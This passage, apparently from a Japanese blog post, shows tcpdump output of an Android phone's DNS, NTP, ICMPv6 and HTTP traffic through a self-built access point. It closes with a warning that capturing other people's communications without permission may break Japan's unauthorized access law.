03:34:56.719557 ARP, Reply 192.168.1.1 is-at b8:27:eb:XX:XX:XX, length 28
03:34:57.049105 IP6 fe80::XXXX:XXXX:XXXX:XXXX > ff02::2: ICMP6, router solicitation, length 16
03:34:57.049738 IP6 fe80::XXXX:XXXX:XXXX:XXXX > fe80::XXXX:XXXX:XXXX:XXXX: ICMP6, router advertisement, length 64
03:34:59.664530 IP6 fe80::XXXX:XXXX:XXXX:XXXX > ff02::16: HBH ICMP6, multicast listener report v2, 1 group record(s), length 28
03:35:01.419914 IP6 fe80::XXXX:XXXX:XXXX:XXXX > fe80::XXXX:XXXX:XXXX:XXXX: ICMP6, neighbor solicitation, who has fe80::XXXX:XXXX:XXXX:XXXX, length 32
03:35:01.549158 IP 192.168.1.170.35684 > 192.168.1.1.53: 43557+ A? connectivitycheck.android.com. (47)
03:35:01.549334 IP 192.168.1.170.43378 > 192.168.1.1.53: 12979+ A? connectivitycheck.android.com. (47)
03:35:01.549422 IP6 fe80::XXXX:XXXX:XXXX:XXXX > fe80::XXXX:XXXX:XXXX:XXXX: ICMP6, neighbor advertisement, tgt is fe80::XXXX:XXXX:XXXX:XXXX, length 32
03:35:01.558617 IP 192.168.1.1.53 > 192.168.1.170.43378: 12979 1/0/0 A 216.58.221.174 (63)
03:35:01.559263 IP 192.168.1.1.53 > 192.168.1.170.35684: 43557 1/0/0 A 216.58.221.206 (63)
03:35:01.575683 IP 192.168.1.170.51055 > 192.168.1.1.53: 36811+ AAAA? ipv4only.arpa. (31)
03:35:01.575771 IP 192.168.1.1.53 > 192.168.1.170.51055: 36811 0/0/0 (31)
03:35:01.577961 IP 192.168.1.170.40382 > 192.168.1.1.53: 53548+ A? ipv4only.arpa. (31)
03:35:01.578023 IP 192.168.1.1.53 > 192.168.1.170.40382: 53548 2/0/0 A 192.0.0.171, A 192.0.0.170 (63)
03:35:01.700229 IP 192.168.1.170.41658 > 192.168.1.1.53: 56266+ AAAA? north-america.pool.ntp.org. (44)
03:35:01.722678 IP 192.168.1.1.53 > 192.168.1.170.41658: 56266 0/1/0 (99)
03:35:01.727875 IP 192.168.1.170.55498 > 192.168.1.1.53: 51322+ A? north-america.pool.ntp.org. (44)
03:35:01.749989 IP 192.168.1.1.53 > 192.168.1.170.55498: 51322 4/0/0 A 38.229.71.1, A 206.108.0.132, A 104.156.99.226, A 69.167.160.102 (108)
03:35:01.751144 IP 192.168.1.170.33118 > 216.58.221.206.80: Flags [S], seq 2110605975, win 65535, options [mss 1460,sackOK,TS val 4294940628 ecr 0,nop,wscale 7], length 0
03:35:01.755148 IP 192.168.1.170.33459 > 38.229.71.1.123: NTPv3, Client, length 48
03:35:01.764984 IP 216.58.221.206.80 > 192.168.1.170.33118: Flags [S.], seq 2111217721, ack 2110605976, win 42540, options [mss 1414,sackOK,TS val 1370227089 ecr 4294940628,nop,wscale 7], length 0
03:35:01.767118 IP 192.168.1.170.33118 > 216.58.221.206.80: Flags [.], ack 1, win 685, options [nop,nop,TS val 4294940630 ecr 1370227089], length 0
03:35:01.770321 IP 192.168.1.170.33118 > 216.58.221.206.80: Flags [P.], seq 1:430, ack 1, win 685, options [nop,nop,TS val 4294940630 ecr 1370227089], length 429
03:35:01.783798 IP 216.58.221.206.80 > 192.168.1.170.33118: Flags [.], ack 430, win 341, options [nop,nop,TS val 1370227108 ecr 4294940630], length 0
03:35:01.783914 IP 216.58.221.206.80 > 192.168.1.170.33118: Flags [P.], seq 1:103, ack 430, win 341, options [nop,nop,TS val 1370227108 ecr 4294940630], length 102
03:35:01.784154 IP 216.58.221.206.80 > 192.168.1.170.33118: Flags [F.], seq 103, ack 430, win 341, options [nop,nop,TS val 1370227108 ecr 4294940630], length 0
03:35:01.786455 IP 192.168.1.170.33118 > 216.58.221.206.80: Flags [.], ack 103, win 685, options [nop,nop,TS val 4294940632 ecr 1370227108], length 0
03:35:01.786945 IP 192.168.1.170.33118 > 216.58.221.206.80: Flags [F.], seq 430, ack 104, win 685, options [nop,nop,TS val 4294940632 ecr 1370227108], length 0
03:35:01.800821 IP 216.58.221.206.80 > 192.168.1.170.33118: Flags [.], ack 431, win 341, options [nop,nop,TS val 1370227125 ecr 4294940632], length 0
(snip)
03:35:31.574015 IP 192.168.1.170.64782 > 192.168.1.1.53: 53427+ AAAA? inaz2.hatenablog.com. (38)
03:35:31.583433 IP 192.168.1.1.53 > 192.168.1.170.64782: 53427 0/1/0 (122)
(snip)
03:35:31.610380 IP 192.168.1.170.42707 > 192.168.1.1.53: 43177+ A? inaz2.hatenablog.com. (38)
(snip)
03:35:31.684565 IP 192.168.1.1.53 > 192.168.1.170.42707: 43177 1/0/0 A 52.197.171.58 (54)
(snip)

上の結果から、接続したAndroid端末の通信をキャプチャできていることが確認できる。

注意事項

作成したアクセスポイントは、適切なパスフレーズを設定し、自身の利用においてのみ使用すること。 無断で第三者の通信を取得した場合、不正アクセス禁止法等に抵触するおそれがある。

関連リンク